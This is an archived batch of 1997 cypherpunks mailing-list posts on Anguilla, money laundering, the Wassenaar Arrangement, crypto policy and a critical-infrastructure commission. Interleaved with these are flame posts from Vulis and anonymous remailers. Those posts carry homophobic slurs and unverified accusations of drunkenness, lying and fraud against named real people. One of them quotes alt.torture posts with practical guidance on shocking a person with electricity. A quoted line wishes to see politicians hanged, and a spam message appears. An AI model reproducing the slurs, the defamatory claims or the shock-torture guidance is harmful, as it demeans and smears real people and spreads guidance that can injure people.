MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.

I believe the anonymous poster meant "sci.cryology".  Charles Platt has
earned himself quite a reputaion there - a liar, a spammmer, and a crackpot.

P.S.  Is Charles Platt gay and/or Armenian?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <e4DD4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-errors@toad.com writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.


Actually, I think the anonymous poster meant "sci.cryonics".  That's where
Charlie Platt has been spamming Usenet with bizarre ads for his "popsicle
corpses" business, and where his past business associates have exposed him as
a drunkard and a pathological liar.  Just look in DejaNews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 14:00:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199703102200.RAA05727@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
own imagined cleverness.

       ='''
       c oo Timmy C[ocksucker] May
       |  \
         -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Mon, 10 Mar 1997 07:11:45 -0800 (PST)
To: "Vincent Cate" <cp@panix.com>
Subject: Re: Anguilla
Message-ID: <199703101510.TAA22641@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


> From: Vincent Cate <vince@offshore.com.ai>
> To: Charles Platt <cp@panix.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Anguilla 
> Date: Sunday, 9 March 1997 9:22
> 
> Charles:
> > his country shows few signs of libertarian ideology; e.g. they have a
> > state-owned radio station, they haven't quite embraced the idea of
> > competitive bids for government projects, and they still have a
> > monopolistic phone service that has disabled all the pound and star
keys
> > on island phones so that people can't save money using American
call-back
> > services. 
> 
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

Hopefully stillborn. 

I use these services regularly and have never bothered to use the # or *
keys. BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
a losing battle.

> 
>                           Anguilla         vs       USA
> 1) Income taxes           Libertarian             Socialist
> 2) Sales Taxes            Libertarian             Socialist
> 3) State owned radio      Yes                     Yes
> 4) Competative bids       Sometimes               Sometimes
> 5) Pound keys that work   ?  Will check           Yes
> 6) Reporting of finances  Libertarian             Totalitarian
> 7) Free Speech            Yes, sort of            Yes, sort of
> 
>   -- Vince
> 

Regards,

Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 10 Mar 1997 18:24:16 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: ElGamal
In-Reply-To: <199703102200.RAA05727@dhp.com>
Message-ID: <Pine.A41.3.95.970310192052.26070B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 10 Mar 1997, lucifer Anonymous Remailer wrote:

> Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
> own imagined cleverness.
> 
>        ='''
>        c oo Timmy C[ocksucker] May
>        |  \

Vulis what has this to do with cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Mon, 10 Mar 1997 20:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) President's Commission on Critical Infrastructure Protec
Message-ID: <199703110451.WAA03729@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Mon, 10 Mar 1997 14:22:28 -0800 (PST)
From:          Phil Agre <pagre@weber.ucsd.edu>
To:            rre@weber.ucsd.edu
Subject:       President's Commission on Critical Infrastructure Protection 
Reply-to:      rre-maintainers@weber.ucsd.edu

[I got a call inviting me to participate in the Los Angeles hearing of
this thing.  It's always hard to tell whether you have a chance to affect
their thinking or whether you're just letting them claim to have consulted
widely before they release their already-written report.  I wasn't able
to return their messages right away because I'm on the move and can't find
a payphone that's programmed to let me call them back at their 888 number. 
(Argh!  Finding a free Internet terminal to send this message, however,
was no problem.)  They tell me that the Los Angeles hearing is on Thursday,
so if you (unlike me) don't have a job or something and want to give them a
firm but polite piece of your mind, you might be interested in showing up.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Sat, 8 Mar 1997 08:10:14 -0800 (PST)
From: "Brock N. Meeks" <brock@well.com>
To: cwd@vorlon.mit.edu
Subject: CWD--Searching for Toto

CyberWire Dispatch // Copyright 1997 // March 1997

Jacking in from the "Man Behind the Curtain" port:

Here... March This
by Lewis Koch
CWD Special Correspondent

Chicago --You better not hack, better not phreak  -- The
President's Commission on Critical Infrastructure Protection
[http://www.pccip.gov] is coming to town.

This behind closed doors Commission holds the key to America's
most precious civil liberty chastity belt:  Privacy.  And now
it's going on tour.  That right, the Commission is coming to a
town near you, a dog-and-pony road trip whose tour jackets are
read:  MADE in the NSA.  

The Commission's goal during the tour is to hear from the people,
to collect ideas about how to protect the critical infrastructure
from... from... why the newest threat (ominous music) to our
national well being now that the Sovs are gone, Saddam's waiting
for a bullet and the Chicoms are turning capitalists -- (scary
music swells)  - "cyber-terrorists" attacking our so-called
"critical infrastructures" through devious computer hacking
raids.  Honest.

And yet, even as members of the Commission smile politely and nod
their graying heads, they are busy trying to figure out (read:
Justify) just how to rewrite U.S. laws which would lift, or at least
modify, the decades old ban that keeps our nation's top spooks
from the National Security Agency from gathering intelligence on
you and me.  

Which is not to say these kats don't have an ironic sense of
humor.  One of their first public debuts will be in San Francisco
during next week's Computers, Freedom and Privacy conference.  Of
course, if you can make it to CFP, you might try the Los Angeles,
California,  Public Works Hearing Room, City Hall, room 350,
third floor, starting at 10 a.m.   and if you can't grok with the
freaks in L.A. or the cypherpunks in San Francisco, perhaps you
can make it to Commission's other scheduled stops in Atlanta,
Houston, St. Louis or Boston.   (Call now, operators are standing
by, 202-828-8869, ask for Liz.)

Between all his strenuous fund raising efforts, President Clinton
last July found the time to form a this Commission to inquire
into the question of whether this nation has protected its
precious physical and cyber innards,  namely electric power, gas
and oil, telecommunications, banking and finance, transportation,
water supply, emergency services, and of course, continuity of
government services, and...the Internet.

By this time the Government has caught on to the fact that the
Internet is no longer a fun toy for academics and young people
but rather but serious business for people who bustle around or
sleep over at the White House. There is money to be made on the
Net, power to be wielded.

There are also some big bucks to be spent, billions maybe, on
what will almost certainly be efforts to "make things safe" from
cyberterrorism.  

The most important job this Commission, however, will be to
direct attention away from the real issues: who was/is
responsible for developing weak, vulnerable infrastructures in
this country in the first place. (Pay no attention to the men
behind the curtain, the men who built the crumbling
infrastructures of Internet Central in the first place.)

Second, while it would be foolish to deny that problems exists
with thieves who use computers and cyberspace, where some child
pornography and a whole hell of a lot of money laundering takes
place, cyberspace is merely a reflection of society, the good and
the bad and a lot in between.

What then, do "cyber threats "actually look like?  Who might
carry them out.  How? Where?   And who will lead the effort to
gather, collate, fold and staple all this valuable information?
A recognized Internet expert?  Someone with extensive experience
in networks and cross-platform computing?  Nope... not for Bill
Clinton.   Just wouldn't do.

No, sir, what we need to combat terrorism is, well, a goddamn,
real life combat veteran, by gwad!  Enter Robert T. March,
chairman of this Infrastructure Protection Task Force.  You can
call him "Bob" or simply "The General" will do because, well,
that's what he did most of his life and besides, it has a real
nice ring to it.

The executive order creating this Commission states that the
chairman be "from outside the Federal government," which Marsh
is, technically, since he retired from the military in 1989.  He
still collects his "inside" the Federal government military
retirement pay though.  Question is, do you want someone who
might played a part creating the mess, now deciding how to fix
it?

The background information on General Marsh is kinda skimpy, at
least for someone who spent the vast majority of his adult life,
rising to the rank of General.  He's 73,  a West Point graduate,
a resident Alexandria, a tony Virginia suburb a stone's throw
from Washington, D.C.

 "His last assignment was serving as the commander of the Air
Force Systems Command, where he directed the research,
development, test and acquisition of aerospace systems for the
Air Force," reads his brief bio on the Web page.  So we can at
least legitimately guess that he was heavy into some kinds of
high tech R&D and Procurement stuff, pushing paper and awarding
big time contracts.

It seems that following his retirement, Marsh marched right back
into research, development, test and acquisition, only, well, on
the other side.

"He served as the first chairman of Thiokol Corp
[http://www.thiokol.com/]," his bio reads, "as it transitioned
from Morton -Thiokol in 1989 to separate company status."

(Remember the Challenger Disaster in 1986?
[http://www.fas.org/spp/51L.html] Can you spell O-rings? If you
click on the company's Web page history section,
[http://www.thiokol.com/History/History.htm#HistoryOfCompany]
this seems to be a non-event.  Could there have been two
Morton-Thiokol companies?)

Marsh is a very active senior, serving on the board and as a
stockholder active in a surprising number of other high tech
ventures, some or all of which could conceivably wind up
providing all kinds of high priced of technical goodies to combat
bad guys bent on physical and cyber destruction of our dear,
up-until-now unprotected infrastructures.

And according to public information office of the Commission,
Marsh intends on keeping his corporate goodies "but at a reduced
compensation" because he was merely "designated" by the President
-- which in White House jargon means...whatever the hell one
wants it to mean-- as long as you don't have to give up the stock
and the options and the director's fees  (Being "designated"
means never having to say I'm sorry.).

Marsh also has strong ties to CAE Electronics,
[http://www.cae.ca/cae_electronics_inc/cae_electronics_inc.html]
a new U.S. company which markets high tech stuff. CAE has a
Canadian papa, which, among the high tech goodies it markets are
"Air Traffic Management Systems" and "Engineering and Software
Support for Weapons Systems." So, having someone on the
Director's payroll in the States, someone with 35 years of
experience in the United States Air Force, makes good, er,
business sense.

Marsh also owns 40,000 shares and makes $8,000.00 a year plus
expenses for his directorship in Teknowledge,
[http://www.teknowledge.com/company/company.html] a Palo Alto
high tech firm parked behind a fence and leafy trees.
Teknowledge is very interested in communications and the
Department of Defense.  Here is how the company describes some of
what it does:

"Since the DoD and many commercial businesses plan to conduct
large-scale operations over international computer networks
similar to the Internet, much of the Teknowledge's current and
future project focus is in providing network associate systems to
make access to knowledge easier, and network accelerators to make
knowledge access over networks faster and more cost effective."

So, we're taking marketing here, not rocket science;  it's easy
to see how Teknowledge might be a "good fit" for any computer
infrastructure "hardening" contracts. Cyberwarriors already
have a name for it: "Minimum Essential Information Infrastructure (MEII)
also known as "emergency lanes on the information highway."

Marsh is also a director of Comverse Government Systems
Corp.[http://www.cis.comverse.com/]. Among the things that
Comverse makes are digital monitoring systems for law enforcement
and intelligence agencies. Oh?  Yes.  Digital wiretapping,
monitoring,  as in...why...yes...of course.  The perfect party
gift for the FBI in search of the hackers who put on those nasty
things on the Justice Department Web site.

Marsh also is a trustee of MITRE Corp, which, we see
[http://www.fast.org/irp/contract/m.htm], is into air defense and
other command, control, communications, and intelligence systems
used by Department of Defense clients.  The company's ties to the
defense intelligence community go back to the late 1950, with
project code names such as HAVE STARE and STEEL TRAP.

And when the General takes his World Tour back home D.C. will we
ever see it's findings?  The Commission isn't bound by the
Freedom of Information Act, so we don't have those thumb screws
to turn.  However, the Commission is governed by the Federal
Advisory Committee Act, which, in part, is there to "to open to
public scrutiny the manner in which government agencies obtain
advise from private individuals."  Of course, this situation
being one of vital national security interest, cyber-terrorists
and all tha t, don't expect a flood of documents and sunshine
from the General.

Apart from the General, there's an interesting internal conflict
 on the Commission.  You see, though it's headed by a "civilian,"
 it's run by the FBI, which doesn't get along with the CIA and
 neither get along with all that well with the NSA.  It's a
 schizophrenic role for the FBI, to be sure.  Actually, there are
 people in the FBI who at least know the right questions to ask,
 that's a start.  The problem is whether their questions can be
 heard over the din of furious, clueless answers shouted out by
 Dir. Louis Freeh, James Kallestrom and others in their own agency.

So, come on out and give the General a few choice thoughts... and
don't forget to call to reserve your spot in line... government
operators are standing by, ahem, from the hours of 8 a.m. to 5
p.m. EST only, of course.   

But hurry, this country is not sold in stores.

---------------------------------

Lewis Koch <lzkoch@mcs.net>KS

**********************************************************************
Charles Anthony
612 871 4090
http://www.info-nation.com
http://www.info-nation.com/rates.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 21:00:35 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <XoXD4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe@panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit@panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed@dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp@panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq@panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk@aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp@panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m@panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion@dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Mar 1997 00:07:45 -0800 (PST)
To: "Peter Trei" <tcmay@got.net>
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <199703110807.AAA14597@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:35 AM 3/10/97 -6, Peter Trei wrote:
>Someone calling themselves "Tim May" wrote:
>> The only solution is to use crypto anarchy to destabilize the system and,
>> hopefull, see them swinging by their necks in front of the Washington
>> Monument. Nearly every politician I'm aware of has richly earned the death
>> penalty, and I hope to see in my lifetime justice carried out.
>
>Tim:
>
>It looks like Jim Bell is faking mail from you to the list.

Nah, it wasn't me, but it might as well have been.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 10 Mar 1997 20:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Money Laundering (fwd)
In-Reply-To: <Pine.LNX.3.95.970311004307.594A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970311004319.519E-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




> On Thu, 6 Mar 1997, Vincent Cate wrote:
> > So we had like 50 people from FC97 asking questions of several Anguillian
> > lawyers.  At the moment there is no law against money laundering.  But
> > they are thinking of having a law (drafts out) that would make money
> > laundering a crime. 
> 
> This puzzles me. I missed some of the session you refer to, but I did do 
> an interview with Victor Banks, the Minister of Finance, and Lynwood 
> Bell, whose Hansa Bank is the last surviving indigenous Anguillan bank, 
> and both of them were very very definite that money laundering is 
> absolutely prohibited.

Ya, absolutely prohibited.  But not by law, yet.  Soon come.

> Were they just putting a good face on things for the press? I'm quite 
> willing to believe this. But how can we know for sure, either way?

No, they really don't want any money laundering.  Maybe they were holding
off on that law change so that the USA gov could run a money laundering
bank here for awhile.  But the US seems to think their bank has done
enough money laundering and they shut it down. 

   --  Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: erin@astrobiz.com
Date: Tue, 11 Mar 1997 02:43:41 -0800 (PST)
To: Friend@public.com
Subject: HI <]:-D
Message-ID: <199703110827.BAA25562@lynx.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi   :-D

I came across this great Web Site while I was out surfin' the net. I
thought you might be interested. You can find it at this Web Address
(just type it in your browser)... 

http://205.16.112.54

or, hyperlink this address (if your browser supports it)...

Hot Bods

See ya!
Michelle
















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e-mail distribution list." Thank you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Mon, 10 Mar 1997 14:23:14 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <v03007806af4a1d46115f@[168.161.105.191]>
Message-ID: <199703102221.HAA13498@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997 15:29:00 -0500, Declan McCullagh said:
 >I got a copy of what I thought was the Arrangement this morning from a
 >source within the State Department.
 >
 >It's 16 pages, with five appendices and a few pages of explanatory materials.
[..]
 >However, my copy seems to be much shorter than the one Hayashi has an

In my far memory, it was about 50-70 pages.  It seems to
be a digest or a boneless version.

====

Each OECD member country ought to localize the Wassenaar
Arrangement and make effect it in each country.  So, I
think you can get the localized version of it from http:
//www.access.gpo.gov/ or else...

In Japan, the W.A. has taken from Sep 13, 1996.  [Source:
Nikkei Shinbun (evening), Aug 20, 1996, side 3]

## for my use -> XURL: X.19960820JST.newspaper:xy//
## Nekkei%evening/3@3/x?y?//

Although I have not seen it, there should be the Japanese
translated version of the W.A.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 11 Mar 1997 04:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703111227.HAA29537@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

      \
     o/\_ Timmy `C' May
    <\__,\
     '\,  |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Mon, 10 Mar 1997 14:32:36 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <1.5.4.32.19970309220727.00705138@pop.pipeline.com>
Message-ID: <199703102231.HAA13652@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 09 Mar 1997 17:07:27 -0500, John Young said:
 >The doc is on my site at:
 >
 >   http://jya.com/wassnr52.htm

I checked an above page out now.  Thanks.

# Sorry too short.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 11 Mar 1997 08:07:48 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703111227.HAA29537@holy.cow.net>
Message-ID: <Pine.A41.3.95.970311090442.85248A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis time to see a doctor.


On Tue, 11 Mar 1997, Bovine Remailer wrote:

> Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
> imbecile, when she had no clothes on. Nine months later she had a little moron.
> 
>       \
>      o/\_ Timmy `C' May
>     <\__,\
>      '\,  |
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Mar 1997 06:49:12 -0800 (PST)
To: DCSB Distribution <rah@shipwright.com>
Subject: DCSB: Stewart Baker on Clinton Administration Crypto Policy andDigital Commerce
Message-ID: <v03020911af4b15d75de2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----




                 The Digital Commerce Society of Boston

                               Presents
                           Mr. Stewart Baker,
                           Steptoe & Johnson
         formerly General Counsel, the National Security Agency

         "The Clinton Administration's Latest Encryption Policy
                and What It Means for Digital Commerce"



                        Tuesday, April 1, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Baker will discuss the details of the Clinton Administration's latest
encryption policy, which seeks to encourage "key recovery" encryption by
offering special export privileges to companies that support key-recovery
systems.  He will also discuss the reaction of American high-tech
companies, foreign governments and consumers.

Mr. Baker, formerly General Counsel of the National Security Agency, has an
international and technology practice at Steptoe & Johnson in Washington,
DC. He is a frequent contributor to WIRED and other publications on topics
such as encryption, national security and Internet law.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, April 1, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 29, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

May    TBA
June   Philip A. DesAutels  W3C Digital Signature Initiative
July   Win Treese           TLS, Digital Commerce, and Export Issues


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2, by Very Safe Mail 1.0

iQCVAwUBMyVuhvgyLN8bw6ZVAQH+wAQAlaqe4wAlAWEps8JrSwCxKQyTtd8wiKTz
JNoVDKvkXsCTbmH9faXnWS4Zk6AEgTkzoSo2XmSK7rGZDHZ2Hvkg2qF70Q0/0HqH
AKWVNSqhgLiiVIgzE6DityZdxhiEToM8KNT2eHYimN3pZTtGQ1DIIxpfrxXlr69w
sEBuXCRjjto=
=mFKw
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:56:58 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227143.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ha227143; Tue, 11 Mar 1997 10:02:20 -0500
>Subject: shall a Rules excepting
>the
>Date: Tue, 11 Mar 1997 10:02:20 -0500
>Message-Id: <15022003600534@abraxis.com>
>
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>the Roads.  define raise
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>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:16 -0800 (PST)
Subject: Failed mail
Message-ID: <za227161.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id za227161; Tue, 11 Mar 1997 10:02:41 -0500
>Subject: extension To Facilities the
